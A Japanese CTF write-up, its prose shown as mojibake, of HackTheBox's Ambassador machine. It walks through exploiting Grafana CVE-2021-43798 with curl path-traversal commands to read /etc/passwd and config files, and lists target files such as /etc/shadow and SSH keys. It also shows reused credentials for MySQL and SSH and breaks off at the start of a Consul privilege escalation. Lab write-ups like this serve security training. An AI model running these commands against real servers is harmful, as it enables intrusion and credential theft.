æ ªå¼ä¼ç¤¾Ninjastars
ã»ãã¥ãªãã£ã¨ã³ã¸ãã¢ï¼ããã
ä»åã¯HackTheBoxã¨å¼ã°ãããã©ãããã©ã¼ã ã«ã¦ããããã¬ã¼ã·ã§ã³ãã¹ããOffensive Securityãå¦ã¶ãã¨ãã§ããCTFãMachinesãã®Writeupãæ¸ãããã¨æãã¾ãã
HackTheBoxã¨ã¯ããµã¤ãã¼ã»ãã¥ãªãã£ãã¬ã¼ãã³ã°ã®ããã®ãªã³ã©ã¤ã³ãã©ãããã©ã¼ã ã§ããããããã¬ã¼ã·ã§ã³ãã¹ãã ãã§ãªããµã¤ãã¼ã»ãã¥ãªãã£ã«é¢ããæ§ã
ãªã¹ãã«ã身ã«ä»ãããã¨ãå¯è½ã§ãã
app.hackthebox.com
ä»åã¯ãããã¬ã¼ã·ã§ã³ãã¹ãã«ã¤ãã¦å¦ã¶ããã«ããMachinesãã®ä¸ã®ï¼ã¤ã§ãããAmbassadorãã®Writeupãæ¸ãã¾ãã
ãAmbassadorãã¯åå¿è
ï½ä¸ç´è
åãã®machineã§ãããæ¬è¨äºã«ã¦ãããã¬ã¼ã·ã§ã³ãã¹ããç¥ããªãã¨ã³ã¸ãã¢ã®æ¹ã«ããããã¬ã¼ã·ã§ã³ãã¹ãã®ã¤ã¡ã¼ã¸ããã¦ããã ããã°å¹¸ãã§ããã¾ããã»ãã¥ãªãã£ã¨ã³ã¸ãã¢ã®æ¹ã«ã¨ã£ã¦ãæ¬è¨äºããä½ãå¦ã¶ç¹ãªã©ãããã¾ããããããããéãã§ãã
ï¼ãAmbassadorã㯠retired machine ã§ããããèªèº«ã§ææ¦ãããéã«ã¯HackTheBoxã®ãµãã¹ã¯ãªãã·ã§ã³ã«ç»é²ããå¿
è¦ãããã¾ãã
ç°å¢
çè
ã®ç°å¢ã§ã¯ Kali Linux ã使ç¨ãããããæ¬è¨äºã§ä½¿ç¨ãã¦ãããã¼ã«ãèªè
ã®æ¹ã®ç°å¢ã«ã¤ã³ã¹ãã¼ã«ããã¦ããªãå¯è½æ§ãããã¾ããããäºæ¿ãã ããã
ããã©ã«ã㧠Kali Linux ã«ã¤ã³ã¹ãã¼ã«ããã¦ããªããã¼ã«ã使ç¨ãã¦ãã¾ãããé©å®çæ§ã§ã¤ã³ã¹ãã¼ã«ãé¡ããããã¾ãã
Writeup
ã§ã¯æ©éå§ãã¦ããã¾ãããã
ã¾ãã¯ãããã¬ã¼ã·ã§ã³ãã¹ãï¼å¤é¨ãµã¼ãã¼ã¸ã®ä¾µå
¥ï¼ã®å¤§ã¾ããªæµããæ´çãããã¨æãã¾ãã
- ãã¼ãã¹ãã£ã³ãå®è¡
- éæ¾ãããåãã¼ãã«ã¦ç¨¼åãããµã¼ãã¹ã®èª¿æ»
- åãµã¼ãã¹ã®æ¢ç¥ã®èå¼±æ§(CVE)ã調æ»
- åãµã¼ãã¹ã®ã¼ããã¤ã®èå¼±æ§ã調æ»
- çºè¦ããèå¼±æ§ãã¨ã¯ã¹ããã¤ã
- 権éã®ä½ãã¦ã¼ã¶ã¼ã®ã·ã§ã«ãç²å¾ï¼ãµã¼ãã¼ã¸ã®ä¾µå ¥ï¼
- ãµã¼ãã¼å é¨ã®èå¼±æ§ãã¨ã¯ã¹ããã¤ããã権éãææ ¼
ãã¡ãã®æµãã¯ã±ã¼ã¹ãã¤ã±ã¼ã¹ã§å¤æ´ã«ãªããã¨ãããã¾ããã大ããªæµãã¨ãã¦ã¯ä¸è¨ã®ããã«ãªãã¾ãã
ãã¼ãã¹ãã£ã³
ã§ã¯ãTCPã®ãªã¼ãã³ãã¼ããè¦ã¦ããã¾ãããã
ä»åã¯ãRustScanãã¨å¼ã°ãããã¼ãã¹ãã£ã³ãã¼ã«ã使ç¨ãã¾ãã
ï¼ä»åã¯UDPã®ãã¼ãã¹ãã£ã³ãå²æãã¦ãã¾ããå®éã®CTFããããã¬ã¼ã·ã§ã³ãã¹ãã§ã¯TCPã ãã§ãªãUDPã®ãã¼ãã確èªãããã¨ã大åã§ãã
ã³ãã³ãã¯ä¸è¨ã®æ§ã«ãªãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ rustscan -a 10.10.11.183 -b 300 -r 0-65535 -t 5000 -- -A
ãã¼ãã¹ãã£ã³ã®çµæã¯ä¸è¨ã®æ§ã«ãªãã¾ããã
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 29dd8ed7171e8e3090873cc651007c75 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLYy5+VCwR+2NKWpIRhSVGI1nJQ5YeihevJqIYbfopEW03vZ9SgacRzs4coGfDbcYa+KPePbz2n+2zXytEPfzBzFysLXgTaUlDFcDqEsWP9pJ5UYFNfXqHCOyDRklsetFOBcxkgC8/IcHDJdJQTEr51KLF75ZXaEIcjZ+XuQWsOrU5DJPrAlCmG12OMjsnP4OfI4RpIjELuLCyVSItoin255/99SSM3koBheX0im9/V8IOpEye9Fc2LigyGA+97wwNSZG2G/duS6lE8pYz1unL+Vg2ogGDN85TkkrS3XdfDLI87AyFBGYniG8+SMtLQOd6tCZeymGK2BQe1k9oWoB7/J6NJ0dylAPAVZ1sDAU7KCUPNAex8q6bh0KrO/5zVbpwMB+qEq6SY6crjtfpYnd7+2DLwiYgcSiQxZMnY3ZkJiIf6s5FkJYmcf/oX1xm/TlP9qoxRKYqLtEJvAHEk/mK+na1Esc8yuPItSRaQzpCgyIwiZCdQlTwWBCVFJZqrXc= | 256 80a4c52e9ab1ecda276439a408973bef (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFgGRouCNEVCXufz6UDFKYkcd3Lmm6WoGKl840u6TuJ8+SKv77LDiJzsXlqcjdeHXA5O87Us7Npwydhw9NYXXYs= | 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINujB7zPDP2GyNBT4Dt4hGiheNd9HOUMN/5Spa21Kg0W 80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS HEAD GET |_http-title: Ambassador Development Server |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-generator: Hugo 0.94.2 3000/tcp open ppp? syn-ack | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:48 GMT | Content-Length: 29 | href="/login">Found</a>. | GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Cache-Control: no-cache | Content-Type: text/html; charset=utf-8 | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:12 GMT | Content-Length: 29 | href="/login">Found</a>. | HTTPOptions: | HTTP/1.0 302 Found | Cache-Control: no-cache | Expires: -1 | Location: /login | Pragma: no-cache | Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax | X-Content-Type-Options: nosniff | X-Frame-Options: deny | X-Xss-Protection: 1; mode=block | Date: Fri, 21 Apr 2023 01:52:19 GMT |_ Content-Length: 0 3306/tcp open mysql syn-ack MySQL 8.0.30-0ubuntu0.20.04.2 | mysql-info: | Protocol: 10 | Version: 8.0.30-0ubuntu0.20.04.2 | Thread ID: 11 | Capabilities flags: 65535 | Some Capabilities: SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, Support41Auth, SupportsLoadDataLocal, FoundRows, ODBCClient, LongColumnFlag, Speaks41ProtocolNew, Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, LongPassword, InteractiveClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: ;;]n'`F8O|GU+ &PR_*< |_ Auth Plugin Name: caching_sha2_password
Port22, 80, 3000, 3306ã®4ã¤ãéæ¾ããã¦ãããã¨ãå¤æãã¾ããã
ã§ã¯ãããã確èªãã¦ããã¾ãããã
Port22
Port22ã§ã¯ã決ã¾ãã®OpenSSHã稼åãã¦ãã¾ãã
ãã¨CTFã«ããã¦ãPort22ã«èå¼±æ§ãåå¨ããå¯è½æ§ã¯æ¥µãã¦ä½ãã§ãã
Port22ï¼SSHï¼ã«ã¦åãæ¥ã確èªãã¹ããã¨ã¯å¤§ããåãã¦ä¸è¨ã®2ã¤ã§ããã¨èãã¦ãã¾ãã
- ã¦ã¼ã¶ã¼ãã¼ã ã¨ãã¹ã¯ã¼ãã®ãã«ã¼ããã©ã¼ã¹æ»æ
- SSHãµã¼ãã¼ï¼ä»åã§ããã°OpenSSHï¼èªä½ã«åå¨ããèå¼±æ§ã¸ã®æ»æ
ä»åã¯ã©ã¡ãã®æ»æææ³ã«å¯¾ãã¦ãèå¼±ã§ã¯ãªãããã次ã®ãã¼ãã«ç§»ãããã¨æãã¾ãã
SSHã¸ã®æ»æææ³ã«ã¤ãã¦è©³ããç¥ãããæ¹ã¯ããã¡ãã®è¨äºãåèã«ãªãã¾ãã
book.hacktricks.xyz
Port80
ã§ã¯æ¬¡ã«Port80ãè¦ã¦ããã¾ãããã
ãã©ã¦ã¶ã«ã¦ã¢ã¯ã»ã¹ããã¨ããAmbassador Development Serverãã¨ããããã°ã確èªã§ãã¾ãã
ããã°ã®ä¸èº«ãè¦ã¦ã¿ãã¨ç¹ã«éè¦ãªæ å ±ã¯ãªãããdeveloperãã¨ããã¦ã¼ã¶ã¼ããµã¼ãã¼ä¸ã«åå¨ãããã¨ã ãã確èªã§ãã¾ãã
ãã¼ãã¹ãã£ã³ã®çµæãªã©ããåããããã«ãPort80ã§ã¯ãHugoãã¨å¼ã°ããéçãµã¤ãã¸ã§ãã¬ã¼ã¿ã¼ã使ç¨ããã¦ãã¾ãã
éçãªWebãµã¤ãã¨ãªãã¨ãã¦ã¼ã¶ã¼ãã¤ã³ãããããç®æããªãæ»æç®æããªãã¨å¤æãããã¨ãå¯è½ã§ãã
ï¼ã¦ã¼ã¶ã¼ãã¤ã³ãããã§ããç®æããªãããã¨ãã£ã¦ãã¨ã¯ã¹ããã¤ãã§ããªãã¨ã¯éããªãã§ããä½ãCTFã«ããã¦ã¯ãéçãªWebãµã¤ããèµ·ç¹ã¨ãããµã¼ãã¼ã¸ã®ä¾µå
¥ã®ç¢ºçã¯ããªãä½ãã¨èãã¾ãã
ãã£ã¬ã¯ããªãã«ã¼ããã©ã¼ã¹
èå³æ·±ããµããã£ã¬ã¯ããªãåå¨ããå¯è½æ§ãããã®ã§ããã«ã¼ããã©ã¼ã¹ãã¦ã¿ã¾ãããã
ãdirsearchãã§ãµããã£ã¬ã¯ããªã®ãã«ã¼ããã©ã¼ã¹ãå®è¡ãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ dirsearch -u http://10.10.11.183/
çµæã¯ä¸è¨ã®æ§ã«ãªãã¾ãããç¹ã«èå³æ·±ããã£ã¬ã¯ããªã¯çºè¦ããã¾ããã§ããã
Target: http://10.10.11.183/ [00:43:18] Starting: [00:43:27] 403 - 277B - /.htaccess.save [00:43:27] 403 - 277B - /.htaccess.sample [00:43:27] 403 - 277B - /.htaccessOLD [00:43:27] 403 - 277B - /.htaccess.bak1 [00:43:27] 403 - 277B - /.htaccess_sc [00:43:27] 403 - 277B - /.htaccessBAK [00:43:27] 403 - 277B - /.htaccess_orig [00:43:27] 403 - 277B - /.htaccessOLD2 [00:43:27] 403 - 277B - /.htaccess_extra [00:43:27] 403 - 277B - /.htaccess.orig [00:43:27] 403 - 277B - /.ht_wsr.txt [00:43:27] 403 - 277B - /.htpasswd_test [00:43:27] 403 - 277B - /.htpasswds [00:43:27] 403 - 277B - /.html [00:43:27] 403 - 277B - /.htm [00:43:27] 403 - 277B - /.httr-oauth [00:43:36] 200 - 2KB - /404.html [00:44:13] 301 - 317B - /categories -> http://10.10.11.183/categories/ [00:44:35] 200 - 993B - /images/ [00:44:35] 301 - 313B - /images -> http://10.10.11.183/images/ [00:44:36] 200 - 4KB - /index.html [00:44:37] 200 - 1KB - /index.xml [00:45:02] 301 - 312B - /posts -> http://10.10.11.183/posts/ [00:45:09] 403 - 277B - /server-status [00:45:09] 403 - 277B - /server-status/ [00:45:12] 200 - 645B - /sitemap.xml [00:45:17] 301 - 311B - /tags -> http://10.10.11.183/tags/
ä»åã¯ä»¥ä¸ã§ãã£ã¬ã¯ããªã®ãã«ã¼ããã©ã¼ã¹ãçµäºãã¾ãããå®éã®CTFããããã¬ã¼ã·ã§ã³ãã¹ãã§ã¯æ§ã
ãªã¯ã¼ããªã¹ãã試è¡ãããã¨ããå§ããã¾ããããã¯ã¼ããªã¹ãã§ã¯ãããããªãã£ããã®ããå¥ã®ã¯ã¼ããªã¹ãã§ããã°ãããããã¨ããã®ã¯é常ã«ãããã話ãªã®ã§ãã
ãã®GitHubã®ã¬ãã¸ããªã«æ§ã
ãªã¯ã¼ããªã¹ããããã®ã§ãè¯ãã£ããè¦ãã¦ã¿ã¦ãã ããã
github.com
Port3000
ã§ã¯æ¬¡ã«Port3000ãè¦ã¦ã¿ã¾ãããã
Port3000㯠Well Known Port ã§ã¯ãªãã§ãããå®çªãªãã¼ãçªå·ã§ããªãã®ã§ netcat ã使ç¨ãã¦æ¥ç¶ãã¦ã¿ã¾ãã
âââ(kaliã¿kali)-[~] ââ$ nc 10.10.11.183 3000 -v ambassador.htb [10.10.11.183] 3000 (?) open hello HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request
ä¸è¨ã³ãã³ãã§æ¥ç¶å¾ã"hello"ã¨ãããã¼ã¿ãéä¿¡ãã¦ã¿ãã¨ãHTTPã¬ã¹ãã³ã¹ãè¿ã£ã¦ãã¾ããã
ã¨ãããã¨ã§ããã©ã¦ã¶ããPort3000ã«ã¢ã¯ã»ã¹ãã¦ã¿ã¾ãããã
ã©ããããGrafanaãã¨å¼ã°ãããµã¼ãã¹ã稼åãã¦ããããã§ãã
ä¸è¨ç»åãè¦ãã¨ããã¼ã¸ã§ã³æ
å ±ãè¨è¼ããã¦ããã®ããããã¾ãã
ãã®ãã¼ã¸ã§ã³ã®Grafanaã«èå¼±æ§ãåå¨ãããæ¤ç´¢ãã¦ã¿ã¾ãããã
ããã¨ããDirectory Traversal and Arbitrary File Readãã¨ãããã¨ã§ããã£ã¬ã¯ããªãã©ãã¼ãµã«ã¨ä»»æãã¡ã¤ã«ã®èªã¿åãããå¯è½ã§ãããã¨ãå¤æãã¾ããã
ãã®èå¼±æ§ã¯CVE-2021-43798ã¨ãã¦ç»é²ããã¦ãã¾ãã
nvd.nist.gov
ã¨ã¯ã¹ããã¤ãã³ã¼ããå
¬éããã¦ãã¾ãã®ã§ããã®PoCãåºã«å®éã«ã¨ã¯ã¹ããã¤ããã¦ã¿ã¾ãããã
ä»åã¯ã¨ã¯ã¹ããã¤ãã³ã¼ãããExploit-DBãããåå¾ãã¾ããã
å°ãä½è«ã§ãããä»åã®ããã«å
¬éããä¸å®æéçµéããèå¼±æ§ã®ã¨ã¯ã¹ããã¤ãã³ã¼ãã¯ãå
¬ã«ãªããã¨ãå¤ã
ããã¾ãã
ã¨ã¯ã¹ããã¤ãã³ã¼ãã¯ãã¼ã¯ã¦ã§ãã§ã®ã¿æµéãã¦ããã¨æãããæ¹ãããã£ãããããããã¾ãããã誰ã§ãç°¡åã«ã¨ã¯ã¹ããã¤ãã³ã¼ãã«ã¢ã¯ã»ã¹ãå¯è½ã§ããã¨ãããã¨ãé ã«å
¥ãã¦ããã¦ããã ããã°ã¨æãã¾ãã
話ãæ»ãã¦ããã£ã¬ã¯ããªãã©ãã¼ãµã«ãã¨ã¯ã¹ããã¤ããã¦ã·ã§ã«ãã¨ãã¾ãããã
ã¾ããå
ã»ã©ã®ã¨ã¯ã¹ããã¤ãã³ã¼ããè¦ã¦ã¿ã¾ãã
www.exploit-db.com
ã¨ã¯ã¹ããã¤ãã³ã¼ãã«é¢ãã詳ãã解説ã¯ããã§ã¯çç¥ãã¾ãããã·ã³ãã«ã«ä¸è¨ã®curlã³ãã³ãã§ã¨ã¯ã¹ããã¤ããããã¨ãå¯è½ã§ãã
âââ(kaliã¿kali)-[~] ââ$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/passwd
ï¼ãã©ã°ã¤ã³ã®ååã«é¢ãã¦ã¯ãä»å㯠histogram ãé¸æãã¾ãããä»ã®ãã©ã°ã¤ã³ã§ãæ¬ç°å¢ã®Grafanaã«ã¤ã³ã¹ãã¼ã«ããã¦ããã°åé¡ããã¾ãããéãæªãã¨è¤æ°åã®Trial and Errorã«ãªãããããã¾ããã
ä¸è¨ã³ãã³ãã«ã¦ããã£ã¬ã¯ããªãã©ãã¼ãµã«ãå¯è½ã§ãããã¨ã確èªã§ãã¾ããã
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin developer:x:1000:1000:developer:/home/developer:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false grafana:x:113:118::/usr/share/grafana:/bin/false mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false consul:x:997:997::/home/consul:/bin/false
æ´ã« /etc/passwd ã®å 容ãããPort80ã§çºè¦ãããdeveloperãã¨ããã¦ã¼ã¶ã¼ããµã¼ãã¼ä¸ã«åå¨ãããã¨ã確å®ãã¾ããã
ã§ã¯æ¬¡ã«ã©ã®ãã¡ã¤ã«ã®å
容ãèªã¿åãã¹ãããèãã¾ãããã
ç§ããã£ã¬ã¯ããªãã©ãã¼ãµã«ãLFIï¼Local File Inclusionï¼ã«ééããéã«ã¯ãä¸è¨ã®æ§ãªãã¡ã¤ã«ã確èªãã¾ãã
/etc/passwd /etc/shadow /etc/motd /home/<username>/.ssh/id_rsa /home/<username>/.bash_history /proc/self/environ /proc/sched_debug /var/www/logs/access_log /var/www/logs/access.log 稼åãµã¼ãã¹ã®configãã¡ã¤ã«
ä¸è¨ãã¡ã¤ã«ã¯ä¸ä¾ã§ããããããã®ãã¡ã¤ã«ãé ã«é²è¦§ãã¦æ
å ±ãåéãã¾ãã
ä»ã«ã©ã®ãããªãã¡ã¤ã«ããã§ãã¯ãã¹ããªã®ãæ°ã«ãªãæ¹ã¯ãä¸è¨ãªã³ã¯ãåç
§ãã¦ãã ãããããã§ã¯Windowsãµã¼ãã¼ã«ãããã»ã³ã·ãã£ããªãã¡ã¤ã«ãè¨è¼ããã¦ãã¾ãã
sushant747.gitbooks.io
çµè«ããè¨ãã¨ä»åã¯ãGrafanaã®configãã¡ã¤ã«ãèªã¿åããã¨ãæ£è§£ã§ããã
ã§ã¯å®éã«ç¢ºèªãã¦ã¿ã¾ãããã
Grafanaã®configãã¡ã¤ã«ã¯ /etc/grafana/grafana.ini ãªã®ã§ããã£ã¬ã¯ããªãã©ãã¼ãµã«ãå©ç¨ãã¦èªã¿åãã¾ãã
ï¼Grafanaã®configãã¡ã¤ã«ã¯ããã¡ãã®ããã¥ã¡ã³ãããå¤æãã¾ããã
Configure Grafana | Grafana documentation
âââ(kaliã¿kali)-[~] ââ$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini
ä¸è¨ã³ãã³ããããgrafana.ini ãèªã¿åããã¨ã«æåãã¾ããã
ããã¦ãadmin ã¨ããæååã§grepãããã¨ã«ãã£ã¦ãã¦ã¼ã¶ã¼ãã¼ã ã¨ãã¹ã¯ã¼ããåå¾ãã¾ããã
âââ(kaliã¿kali)-[~] ââ$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/grafana.ini | grep admin # default admin user, created on startup ;admin_user = admin # default admin password, can be changed before first start of grafana, or in profile settings admin_password = messageInABottle685427
ã§ã¯ä¸è¨ã®ã¯ã¬ãã³ã·ã£ã«ï¼admin:messageInABottle685427ï¼ã«ã¦ãGrafanaã«ãã°ã¤ã³ãã¾ãã
ãã°ã¤ã³ã«æåãã¾ããã
Grafanaå ãããããã¨æ¢ç´¢ãã¦ã¿ãã¨ãmysql.yaml ã¨å¼ã°ãã Data Source ãçºè¦ãã¾ããã
mysql.yaml ã§ã¯ãMySQLã¸ã®ã³ãã¯ã·ã§ã³ãå®ç¾©ããã¦ããããã§ãã
MySQLã®ã¦ã¼ã¶ã¼ãã¼ã 㯠grafana ã§ãããã¨ã確èªã§ãã¾ããããã¹ã¯ã¼ãã表示ããã¦ãã¾ããã
GUIä¸ã§ã®ãã¹ã¯ã¼ãå¤æ´ã試ã¿ã¾ããããä¸è¨ã®æ§ã«æ¸ããã¦ããããå¤æ´ã¯ä¸å¯è½ãªããã§ãã
This data source was added by config and cannot be modified using the UI. Please contact your server admin to update this data source.
ãã ç§ãã¡ã«ã¯ããã£ã¬ã¯ããªãã©ãã¼ãµã«ã¨ããæ¦å¨ããããããmysql.yaml ãèªã¿åã£ã¦ã¿ã¾ãããã
mysql.yaml 㯠/etc/grafana/provisioning/datasources/ ãã£ã¬ã¯ããªã«åå¨ãã¾ãã
ï¼Grafanaã® data source ãã£ã¬ã¯ããªã¯ããã¡ãã®ããã¥ã¡ã³ãããå¤æãã¾ããã
Provision Grafana | Grafana documentation
âââ(kaliã¿kali)-[~] ââ$ curl --path-as-is http://10.10.11.183:3000/public/plugins/histogram/../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml datasources: - name: mysql.yaml type: mysql host: localhost database: grafana user: grafana password: dontStandSoCloseToMe63221! editable: false
ãã£ã¬ã¯ããªãã©ãã¼ãµã«ã«ã¦ãMySQLã®ã¯ã¬ãã³ã·ã£ã«ãåå¾ãããã¨ãã§ãã¾ããã
Port3306
ã§ã¯ä¸è¨ã¯ã¬ãã³ã·ã£ã«ï¼grafana:dontStandSoCloseToMe63221!ï¼ã«ã¦ãMySQLã«ãã°ã¤ã³ãã¾ãããã
âââ(kaliã¿kali)-[~] ââ$ mysql -h 10.10.11.183 -u grafana -p'dontStandSoCloseToMe63221!'
ã©ã®ãããªãã¼ã¿ãã¼ã¹ãããã®ãè¦ã¦ã¿ã¾ãã
whackywidget ã¨å¼ã°ãããã¼ã¿ãã¼ã¹ãããã®ã§è¦ãã¦ã¿ã¾ãã
mysql> show databases; +--------------------+ | Database | +--------------------+ | grafana | | information_schema | | mysql | | performance_schema | | sys | | whackywidget | +--------------------+ 6 rows in set (0.10 sec)
mysql> show tables; +------------------------+ | Tables_in_whackywidget | +------------------------+ | users | +------------------------+ 1 row in set (0.08 sec)
users ã¨ãããã¼ãã«ãããã¾ããã
mysql> select * from users; +-----------+------------------------------------------+ | user | pass | +-----------+------------------------------------------+ | developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | +-----------+------------------------------------------+ 1 row in set (0.09 sec)
ããã¾ãããã¤ãã« developer ã¦ã¼ã¶ã¼ã®ãã¹ã¯ã¼ããåå¾ãã¾ããã
ä¸è¨ãã¹ã¯ã¼ãã¯Base64ã§ã¨ã³ã³ã¼ãããã¦ããããããã³ã¼ããã¾ãããã
âââ(kaliã¿kali)-[~] ââ$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d anEnglishManInNewYork027468
ç¡äºã«ãã¹ã¯ã¼ããåå¾ãã¾ããã
ãµã¼ãã¼ã¸ã®ä¾µå ¥
åå¾ããã¯ã¬ãã³ã·ã£ã«ï¼developer:anEnglishManInNewYork027468ï¼ã«ã¦ãSSHãã°ã¤ã³ãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ sshpass -p 'anEnglishManInNewYork027468' ssh developer@10.10.11.183
ãµã¼ãã¼ã¸ã®ä¾µå ¥ã«æåãã¾ããã
権éææ ¼
ããã§ã¯æ¨©éææ ¼ã«ç§»ãã¾ãã
developer ã¦ã¼ã¶ã¼ã¯ãã®ãµã¼ãã¼ã«ãããæé«æ¨©éãæã£ã¦ãã¾ããã
ä¾ãã° /root ãã£ã¬ã¯ããªã«ç§»åãããã¨ããã¨ãä¸è¨ã®æ§ã« Permission denied ããã¾ãã
developer@ambassador:~$ cd /root
-bash: cd: /root: Permission denied
ã§ã¯ã¾ããroot ã¦ã¼ã¶ã¼ã¸ã¨æ¨©éãææ ¼ããããã«ãLinuxãµã¼ãã¼å
ã®æ
å ±ãåéãã¾ãããã
ç§ãã¾ã権éææ ¼ã®æ
å ±ãéããããã«ä½¿ç¨ãããã¼ã«ããLinPEASãã§ãã
github.com
ä¸è¨ç»åã®æ§ã«ãæ§ã
ãªæ
å ±ãè²ä»ããã¦åºåãã¦ããã¾ãã
ä»åã¯è©³ããã¯è§¦ãã¾ããããLinPEAS ã¯å¤§éã®æ
å ±ãåºåãã¦ãããããããã®ãã¼ã«ã ãã§æ¨©éææ ¼ã®éãéãããã¨ãå¤ã
ããã¾ãã
ã§ã¯ç§ãå®éã«å®è¡ãã権éææ ¼ã®æ¹æ³ããä¼ããã¾ãã
/opt ãã£ã¬ã¯ããªã«ç§»åãã¦ãä½ãèå³æ·±ãã½ããã¦ã§ã¢ãã¤ã³ã¹ãã¼ã«ããã¦ããªããã確èªãã¾ãã
developer@ambassador:/$ cd /opt developer@ambassador:/opt$ ls consul my-app
consul 㨠my-app ã¨ããï¼ã¤ã®ãã£ã¬ã¯ããªãããã¾ããã
consul ã«ã¤ãã¦æ¤ç´¢ãã¦ã¿ãã¨ããConsulãã¨å¼ã°ãããåæ£ã·ã¹ãã ã«ãããæ§ã
ãªæ©è½ãæä¾ãããªã¼ãã³ã½ã¼ã¹ã®ãããã¯ã¼ã¯ãµã¼ãã¹ã½ããã¦ã§ã¢ã§ãããã¨ãå¤æãã¾ããã
æ´ã«ããconsul privilege escalationãã§æ¤ç´¢ãã¦ã¿ãã¨ãRCEï¼ãªã¢ã¼ãã³ã¼ãå®è¡ï¼ã®èå¼±æ§ãåå¨ããå¯è½æ§ããããã¨ãåããã¾ããã
ï¼æ¬èå¼±æ§ã®è©³ç´°ã«ã¤ãã¦è©³ããç¥ãããæ¹ã¯ããèªèº«ã§èª¿æ»ãã¦ããã ããã°ã¨æãã¾ããæ¬è¨äºã§ã¯ã¨ã¯ã¹ããã¤ãããæ¹æ³ã®ã¿ããä¼ããã¾ãã
HashiCorp社ã®è¨äºã«ããã¨ä¸è¨ã®3ã¤ã®æ¡ä»¶ãæºããããå ´åãRCEï¼ãªã¢ã¼ãã³ã¼ãå®è¡ï¼ãå¯è½ã«ãªãããã§ãã
- The API is available on an interface that can be accessed over the network.
- Script checks are enabled.
- ACLs are disabled or an ACL token is compromised.
1ã¤ãã¤ç¢ºèªãã¾ãããã
The API is available on an interface that can be accessed over the network
ã¾ãã¯APIã«ã¢ã¯ã»ã¹ã§ãããã©ããã§ãã
å
¬å¼ããã¥ã¡ã³ãã«ããã¨ãPort8500ã§HTTP APIã«ã¢ã¯ã»ã¹ã§ããããã§ãã
